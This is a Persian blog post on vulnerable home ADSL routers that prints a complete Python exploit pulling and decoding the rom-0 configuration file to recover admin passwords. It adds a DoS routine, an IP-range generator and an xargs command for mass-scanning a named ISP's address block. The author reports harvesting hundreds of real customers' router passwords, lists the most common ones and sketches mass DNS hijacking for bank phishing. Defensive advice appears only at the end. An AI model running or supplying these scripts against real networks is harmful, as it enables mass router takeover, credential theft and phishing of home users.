توی پست قبلی مطلبی در مورد امنیت ضعیف مودمهای تیپیلینک نوشته بودم که به نظر اونطور که باید و شاید توجه رو به سمت خودش جلب نکرد.
برای همین در ادامهی اون پست، این مطلب رو اینجا میذارم تا یک مقدار بیشتر با خطراتی که کاربران خونگی رو تهدید میکنه آشنا کنم.
برای شروع برنامهای که توی پست قبل ازش استفاده کرده بودیم رو تغییر میدیم طوری که به جای ریست روتر، یک راست با دادن آیپی طرف، پسورد رو تحویل بگیریم.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 |
#!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Title: ZTE and TP-Link RomPager DoS Exploit # Date: 10-05-2014 # Server Version: RomPager/4.07 UPnP/1.0 # Tested Routers: ZTE ZXV10 W300 # TP-Link TD-W8901G # TP-Link TD-W8101G # TP-Link TD-8840G # Firmware: FwVer:3.11.2.175_TC3086 HwVer:T14.F7_5.0 # Tested on: Kali Linux x86 # # Notes: Please note this exploit may contain errors, and # is provided “as it is”. There is no guarantee # that it will work on your target router(s), as # the code may have to be adapted. # This is to avoid script kiddie abuse as well. # # Disclaimer: This proof of concept is strictly for research, educational or ethical (legal) purposes only. # Author takes no responsibility for any kind of damage you cause. # # Exploit Author: Osanda Malith Jayathissa (@OsandaMalith) # Dedicate to Nick Knight and Hood3dRob1n # # ./dos.py -i 192.168.1.1 import os import re import sys import time import urllib import base64 import httplib import urllib2 import requests import optparse import telnetlib import subprocess import collections import unicodedata class BitReader: def __init__(self, bytes): self._bits = collections.deque() for byte in bytes: byte = ord(byte) for n in xrange(8): self._bits.append(bool((byte >> (7–n)) & 1)) def getBit(self): return self._bits.popleft() def getBits(self, num): res = 0 for i in xrange(num): res += self.getBit() << num–1–i return res def getByte(self): return self.getBits(8) def __len__(self): return len(self._bits) class RingList: def __init__(self, length): self.__data__ = collections.deque() self.__full__ = False self.__max__ = length def append(self, x): if self.__full__: self.__data__.popleft() self.__data__.append(x) if self.size() == self.__max__: self.__full__ = True def get(self): return self.__data__ def size(self): return len(self.__data__) def maxsize(self): return self.__max__ def __getitem__(self, n): if n >= self.size(): return None return self.__data__[n] def filter_non_printable(str): return ”.join([c for c in str if ord(c) > 31 or ord(c) == 9]) def banner(): return ”’ \t\t _/_/_/ _/_/_/ \t\t _/ _/ _/_/ _/ \t\t _/ _/ _/ _/ _/_/ \t\t _/ _/ _/ _/ _/ \t\t_/_/_/ _/_/ _/_/_/ ”’ def dos(host, password): while (1): url = ‘http://’ +host+ ‘/Forms/tools_test_1’ parameters = { ‘Test_PVC’ : ‘PVC0’, ‘PingIPAddr’ : ‘\101’*2000, ‘pingflag’ : ‘1’, ‘trace_open_flag’ : ‘0’, ‘InfoDisplay’ : ‘+-+Info+-%0D%0A’ } params = urllib.urlencode(parameters) req = urllib2.Request(url, params) base64string = base64.encodestring(‘%s:%s’ % (‘admin’, password)).replace(‘\n’, ”) req.add_header(“Authorization”, “Basic %s” %base64string) req.add_header(“Content-type”, “application/x-www-form-urlencoded”) req.add_header(“Referer”, “http://” +host+ “/maintenance/tools_test.htm”) try: print ‘[~] Sending Payload’ response = urllib2.urlopen(req, timeout=1) sys.exit(0) except: flag = checkHost(host) if flag == 0: print ‘[+] The host is still up and running’ else: print ‘[~] Success! The host is down’ sys.exit(0) break def checkHost(host): if sys.platform == ‘win32’: c = “ping -n 2 “ + host else: c = “ping -c 2 “ + host try: x = subprocess.check_call(c, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) time.sleep(1) return x except: pass def checkServer(host): connexion = httplib.HTTPConnection(host) connexion.request(“GET”, “/status.html”) response = connexion.getresponse() server = response.getheader(“server”) connexion.close() time.sleep(2) if server == ‘RomPager/4.07 UPnP/1.0’: return 0 else: return 1 def checkPassword(host): print ‘[+] Checking for default password’ defaultpass = ‘admin’ tn = telnetlib.Telnet(host, 23, 4) tn.read_until(“Password: “) tn.write(defaultpass + ‘\n’) time.sleep(2) banner = tn.read_eager() banner = regex(len(defaultpass)*r‘.’+‘\w+’ , banner) tn.write(“exit\n”) tn.close() time.sleep(4) if banner == ‘Copyright’: print ‘[+] Default password is being used’ else: print ‘[!] Default Password is not being used’ while True: #msg = str(raw_input(‘[?] Decrypt the rom-0 file locally? ‘)).lower() try: password = decodePasswordLocal(host) print ‘[*] Router of %s password is: %s’ %(host,password) break except Exception, e: print e continue def decodePasswordLocal(host): # Sometimes this might output a wrong password while finding the exact string. # print the result as mentioned below and manually find out fname = ‘rom-0’ if os.path.isfile(fname) == True: os.remove(fname) urllib.urlretrieve (“http://”+host+“/rom-0”, fname) fpos=8568 fend=8788 fhandle=file(‘rom-0’) fhandle.seek(fpos) chunk=“*” amount=221 while fpos < fend: if fend–fpos < amount: amount = amount data = fhandle.read(amount) fpos += len(data) reader = BitReader(data) result = ” window = RingList(2048) while True: bit = reader.getBit() if not bit: char = reader.getByte() result += chr(char) window.append(char) else: bit = reader.getBit() if bit: offset = reader.getBits(7) if offset == 0: break else: offset = reader.getBits(11) lenField = reader.getBits(2) if lenField < 3: lenght = lenField + 2 else: lenField <<= 2 lenField += reader.getBits(2) if lenField < 15: lenght = (lenField & 0x0f) + 5 else: lenCounter = 0 lenField = reader.getBits(4) while lenField == 15: lenField = reader.getBits(4) lenCounter += 1 lenght = 15*lenCounter + 8 + lenField for i in xrange(lenght): char = window[–offset] result += chr(char) window.append(char) result = filter_non_printable(result).decode(‘unicode_escape’).encode(‘ascii’,‘ignore’) # In case the password you see is wrong while filtering, manually print it from here and findout. #print result if ‘TP-LINK’ in result: result = ”.join(result.split()).split(‘TP-LINK’, 1)[0] + ‘TP-LINK’; result = result.replace(“TP-LINK”, “”) result = result[1:] if ‘ZTE’ in result: result = ”.join(result.split()).split(‘ZTE’, 1)[0] + ‘ZTE’; result = result.replace(“ZTE”, “”) result = result[1:] if ‘tc160’ in result: result = ”.join(result.split()).split(‘tc160’, 1)[0] + ‘tc160’; result = result.replace(“tc160”, “”) result = result[1:] if ‘D-Link’ in result: result = ”.join(result.split()).split(‘D-Link’, 1)[0] + ‘D-Link’; result = result.replace(“D-Link”, “”) result = result[1:] return result def regex(path, text): match = re.search(path, text) if match: return match.group() else: return None def main(): if sys.platform == ‘win32’: os.system(‘cls’) else: os.system(‘clear’) try: parser = optparse.OptionParser(“usage: %prog -i <IP Address> “) parser.add_option(‘-i’, dest=‘host’, type=‘string’, help=‘Specify the IP to attack’) (options, args) = parser.parse_args() if options.host is None: parser.print_help() exit(–1) host = options.host x = checkHost(host) if x == 0: print ‘[+] The host is up and running’ server = checkServer(host) if server == 0: checkPassword(host) else: print (‘[!] Sorry the router is not running RomPager’) else: print ‘[!] The host is not up and running’ sys.exit(0) except KeyboardInterrupt: print ‘[!] Ctrl + C detected\n[!] Exiting’ sys.exit(0) except EOFError: print ‘[!] Ctrl + D detected\n[!] Exiting’ sys.exit(0) if __name__ == “__main__”: main() #EOF |
حالا با دادن یک آیپی به برنامه راحت میشه پسورد روتر رو بدست بیارید. دقت کنید که برنامه ابتدا ip مقصد رو پینگ میکنه و در صورت بالا بودن هاست، میره عملیات بعدی رو روی اون اجرا میکنه.
با رفتن به آدرس http://ping.eu/ns-whois و دادن آیپی ولید خودتون، میتونید یک رنج از آیپیهای ولید isp رو بدست بیارید.
با کمی جستجو در اینترنت به اسکریپت زیر میرسیم که رنج ابتدایی و انتهایی ip رو میگیره و در انتها تمام ipهای بینش رو برامون تولید میکنه (خروجی برنامهی زیر سی و پنج هزار آیپی هست).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 |
#!/bin/bash # # Function: Generate a range of IP Addresses # Version: 1.1 # Author: [email protected] # # v1.1 # # Convention for octets: A.B.C.D # Variable setup section… # # Split up IP addresses into seperate variables for each octet IPLO=(`echo “$1” | awk ‘{split($1,a,”.”); print a[1]” “a[2]” “a[3]” “a[4]}’`) IPHI=(`echo “$2” | awk ‘{split($1,a,”.”); print a[1]” “a[2]” “a[3]” “a[4]}’`) # # Put array contents into nicely named vars for less confusion # OCTA=${IPLO[0]} OCTB=${IPLO[1]} OCTC=${IPLO[2]} OCTD=${IPLO[3]} OCTAHI=${IPHI[0]} OCTBHI=${IPHI[1]} OCTCHI=${IPHI[2]} OCTDHI=${IPHI[3]} OCTDMAX=255 # Max default value for D Octet to loop to FINISHED=0 # Variable used for loop state checking # Syntax sanity check; check all vars are populated etc for i in 0 1 2 3 do if [ –z “${IPLO[$i]}” ] || [ –z “${IPHI[$i]}” ]; then echo “Usage: $0 [from ip] [to ip]” exit 1 elif [ “${IPLO[$i]}” –gt “255” ] || [ “${IPHI[$i]}” –gt “255” ];then echo “One of your values is broken (greater than 255).” exit 1 fi done # Until FINISHED variable is set to 1, loop the loop. # FINISHED var is used to determine when done as the increments # to the vars in the loop will mean that when we get to the done # statement, the values won’t be the same as printed. # # The D Octet loop is the heart of this script, as it’s easiest # to check whether we’ve reached the target or not from here. # until [ “$FINISHED” –eq “1” ]; do # If first 3 octets match hi values, use OCTDHI as max value for 4th octet. if [ “$OCTA” –eq “$OCTAHI” ] && \ [ “$OCTB” –eq “$OCTBHI” ] && \ [ “$OCTC” –eq “$OCTCHI” ]; then OCTDMAX=$OCTDHI fi # Loop octet D up to OCTDMAX 255 unless above criteria satisfied while [ “$OCTD” –le “$OCTDMAX” ]; do # Print out current IP printf “$OCTA.$OCTB.$OCTC.$OCTD\n” # Check if this is the last IP to print if [ “$OCTA” –eq “$OCTAHI” ] && \ [ “$OCTB” –eq “$OCTBHI” ] && \ [ “$OCTC” –eq “$OCTCHI” ] && \ [ “$OCTD” –eq “$OCTDHI” ]; then FINISHED=1 fi OCTD=$(( $OCTD + 1 )) done # Now D loop has completed, set C + 1 and reset D to 0 OCTC=$(( $OCTC + 1 )) OCTD=“0” # if C is over 255 then set B + 1 and reset C to 0 if [ “$OCTC” –gt “255” ]; then OCTB=$(( $OCTB + 1 )) OCTC=“0” fi # If B is over 255 then set A + 1 and reset B to 0 if [ “$OCTB” –gt “255” ]; then OCTA=$(( $OCTA + 1 )) OCTB=“0” fi # If A is over 255 for whatever reason then set FINISHED=1 if [ “$OCTA” –gt “255” ]; then FINISHED=1 fi done exit 0 |
حالا کافیه به طریقی این آیپیها رو به خورد اسکریپت اصلی بدیم که پسوردها رو قراره در بیاره برامون.
برای اینکار از برنامهی xargs استفاده میکنیم. xargs خروجی یک برنامه رو میگیره و به صورت آرگومان به برنامهای که مدنظرمونه میده. حالت پیشفرض xargs، خروجی به آخر برنامه اضافه میکنه. اگه بخوایم خروجی رو به وسط کامندی که اجرا میکنیم، اضافه کنه از خروجی -I به همراه یک نام (place holder) استفاده مینیم.
1 |
./ip.sh 109.162.208.0 109.162.223.255 | xargs –I{} timeout 20 ~/novid.py –i {} 2>/dev/null | grep Router |
کامند بالا علارغم ظاهر خیلی پیچیدهای که داره خیلی ساده عمل میکنه.
قلب اصلی همون novid.py که فقط یک ip میگیره و قراره پسورد رو بهمون برگردونه. با اسکریپت Ip.sh و کمک برنامه xargs تعداد زیادی ip رو داریم به خوردش میدیم.
اما به دلایل مختلف ممکنه برنامه پیغامهای خطایی رو برگردونه که اونها رو داریم به dev/null میریزیم (به جای نمایش اونها در صفحه نمایش). سر بعضی از آیپیها برنامه کلا متوقف میشه و دیگه جلو نمیره. برای جلوگیری از این اتفاق از timeout استفاده میکنیم و میگیم حالت نرمال برای پیدا کردن پسورد یک روتر زیر ۲۰ ثانیهست. اگه بیشتر از این زمان برد، بیخیال اون آیپی بشو و برو سراغ بعدی.
xargs با استفاده از خروجی -I به جای اینکه هر آیپی رو انتهای کامند یعنی grep Router بیاره، اونها رو وسط کامند دونه دونه به برنامه میده! {}صرفا یک نام هست که میدونیم در کامندی که قراره بارها اجرا بشه هیچ استفادهای نمیشه، میشه به جای اون هر چیز دیگهای هم استفاده کرد.
اون بخش grep رو برای این گذاشتم که برنامه بعد از پیدا کردن پسورد روتر چند خط رو به عنوان خروجی بر میگردونه. پسورد نیز در خطی قرار داره که کلمهی Router وجود داره.
بعد چند ساعت صبر و بسته به سرعت اینترنت، به کلی پسورد روتر خواهید رسید!
جالبه در خیلی پسوردها، نام isp داتک رو میتونستم ببینم که مشخص بود تنظیمات رو خود داتک بر روی روتر طرف انجام داده. بسیاری هم شماره تلفن خونهشون رو به عنوان پسورد انتخاب کرده بودن که خیلی راحت میشه به اطلاعات بیشتری از فرد دست پیدا کرد.
کار قشگ دیگه ای که میشه انجام داد اینه که ببینیم بیشترین پسوردی رو که ملت استفاده میکنن چیه؟
برای اینکار با کمی جستجو به اسکریپت count_all_words.py میرسیم.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 |
#!/usr/bin/python from collections import Counter from re import split BANNER = “-“ * 35 def format_print(counter, is_reverse=False): lst = counter.items() lst.sort(key=lambda (a, b): (b, a), reverse=is_reverse) print (“[Unique Words: %d]” % len(lst)).center(35, “=”) print “%-16s | %16s” % (“Word”, “Count”) print BANNER for word, count in lst: print “%-16s | %16d” % (word, count) def count_words(filename): counter = Counter() with open(filename, “rU”) as f: for line in f: line = line.strip().lower() if not line: continue counter.update(x for x in split(” “,line) if x) return counter format_print(count_words(“PASSWDUSERS.txt”), is_reverse=False) |
کافیه همه پسوردها رو در یک فایل به نام PASSWDUSERS.txt ذخیره کنیم و بعد اسکریپت رو اجرا کنیم. برای استخراج پسورد از لیستی که در اختیار داریم، کامند زیر رو اجرا میکنیم.
1 |
cat ipRange.txt | cut –d ‘ ‘ –f 8 > PASSWDUSERS.txt |
و برای شمارش تعداد پسوردها نیز اسکریپت count_all_words.py رو اجرا کنیم.
1 2 3 4 5 6 7 8 9 10 11 |
~/ python count_all_words.py | tail m4f6h39 | 3 dseb0195 | 5 superheslo | 9 m4f6h334 | 11 ebs7p27 | 15 m4f6h3 | 19 0xyaa1234 | 65 263297 | 73 362729 | 78 admin | 124 |
جامعهی کاربری بالا ۶۵۵ مورد و همگی از isp داتک بوده. جستجو هم روی ۸۲۰۰ آیپی صورت گرفته. نکته اما اینه که همهی این ۸۲۰۰ ip بالا نبودن و اگه آیپیهایی که در زمان جستجو داون بودن رو حذف کنیم به درصد خیلی خیلی بالایی میرسیم که آسیبپذیر هستن. در یک رنج آیپی ۲۵۶ تایی تقریبا صد تا از کاربران آنلاین هستن و از این تعداد پسورد ۴۰ تا کاربر رو میشه در اورد. با تقریب خوبی میشه گفت ۴۰ درصد کاربرای داتک این مشکل رو دارن و احتمالا خودشون هم اطلاعی از این وضعیت ندارند!
خب حالا اینکه مشخص شد که تعداد خیلی زیادی از روترها مشکل دارن که چی؟ اول اینکه تا جای ممکن سعی کنید دسترسی به روتر از دنیای اینترنت رو غیر ممکن کنید. هیچ دلیلی نداره که یک کاربر خونگی روترش از بیرون قابل دیدن باشه. برای اینکار روترها گزینههای متنوعی دارن. تعدادی مشخصا گزینهای دارن که دسترسی به روتر رو خیلی ساده غیرممکن میکنه از دنیای اینترنت. بعضی نیز بخشی به نام ACL دارن و بخشی نیز از طریق فایروال و بستن ترافیک ورودی این امکان رو برای شما فراهم میکنن. یک راه نیز اینه که تمام ترافیک ورودی به روتر رو به سمت یک آیپی داخل شبکهتون که وجود خارجی نداره هدایت کنید! برای اینکار در بخش dmz روتر باید یک آیپی در رنج شبکه داخلی بدید که البته وجود خارجی نداشته باشه.
و اینکه شاید این نفوذپیذیری رو روتر شما نداشته باشه، اما با گذاشتن پسوردهای خیلی ساده مثل ده مورد بالا این اجازه رو به مهاجم میدید که از طریق یک دیکشنری خیلی ساده بتونه وارد روتر بشه. و اینکه شاید خیلی از نفوذپذیریهای دیگه باشه که تا سالها مخفی باشه و صداش در نیاد بنابراین همیشه دسترسی به روتر از بیرون رو محدود به یک یا چند آیپی شناخته شده کنید.
سوال دیگهای که پیش میاد اینه که با وارد شدن به روتر،فرد مهاجم میتونه چیکار کنه؟ جواب اینه که میتونه برنامهای رو بنویسه که به صورت خودکار علاوه بر در اوردن پسورد روتر، به صورت گروهی بره و dns روتر رو هم تغییر بده. با تغییر dns عملا شما متوجه هیچ مورد مشکوکی نخواهید شد. کافیه فرد مهاجم dns چند ده هزار روتر رو تغییر بده. در زمان حمله نهایی، فرد مهاجم صفحه اول تمام بانکهای معروف رو میسازه و در یک زمان، میاد و ترافیک مثلا بانک سامان و پارسیان و دیگر بانکها رو به سمت سرور خودش تغییر میده! و اینطوری میشه که بجای اینکه وارد سایت اصلی بانک سامان بشید، وارد نسخهای میشید که هکر اون رو طراحی کرده. طبیعتا کسی وارد سایت دستکاری میشه که از dns سرور فرد مهاجم استفاده کنه. پس توصیه مهم دیگه اینه که همیشه برید dns های داخل روتر رو خودتون به شکلی دستی تنظیم کنید. اگه dns رو به صورت دستی تنظیم نکنید، به صورت خودکار روتر اونها رو از سمت isp دریافت میکنه که به نظرم این گزینه هم عاقلانه نیست. اینجور حملات در گذشته در بسیاری از کشورهای دنیا هم اتفاق افتاده.
یادتون نره حتی در صورت بستن راه ورود به روتر از طریق اینترنت، مهاجم میتونه حمله رو از طریق خودتون انجام بده. بدین صورت که با وارد شدن به یک سایت آلوده، خودتون تبدیل به یک مهاجم میشید و پسورد مودم خودتون رو ریست میدید! بعد برنامه دیگهای میتونه وارد روتر بشه و از طریق پسوردی که معلوم و مشخصه، dns رو تغییر بده! :)
راهکار چیه؟ جواب اینه که فرمویر روتر خودتون رو به dd-wrt تغییر بدید. dd-wrt یک فرمویر اپن سورس مبتنی بر کرنل لینوکس که با دنگ و فنگ و کمی خوش شانسی باید بتونید روی روتر خودتون نصب کنید. ریسک اینکار رو هم قبلش باید بپذیرید که دیگه روتر قابل استفاده نباشه. برای اینکه بفهمید dd-wrt روی روتر شما کار میکنه یا خیر کافیه به این آدرس برید و نام روتر خودتون رو وارد کنید.
راهکار دیگه استفاده از روتر در حالت بریج هست. و اینکه از روتر خوتون در حالت bridge استفاده کنید. در این صورت تنظیمات pppoe که بر روی روترهای ADSL وجود داره به روی سیستم متصل به روتر منتقل میشه و مودم تنها نقش یک پل رو خواهد داشت! افراد داخل شبکه در اینحالت باید از طریق سرور متقل به روتر، ip بگیرن. دیوایسی که برای اینکار در نظر میگیرید باید دو تا پورت لن یا یک پورت لن و یک وایرلس داشته باشه. حالت قشنگش اینه که از رزبری پای استفاده کنید. رزبری پای کلا یک پورت Lan بیشتر نداره. بنابراین باید یک مبدل usp به lan یا wireless نیز داشته باشید. برای os هم میتونید از ipfire یا OpenWRT استفاده کنید که هر دوی اونها نسخه مخصوص ARM رو دارن.
دیدگاهتان را بنویسید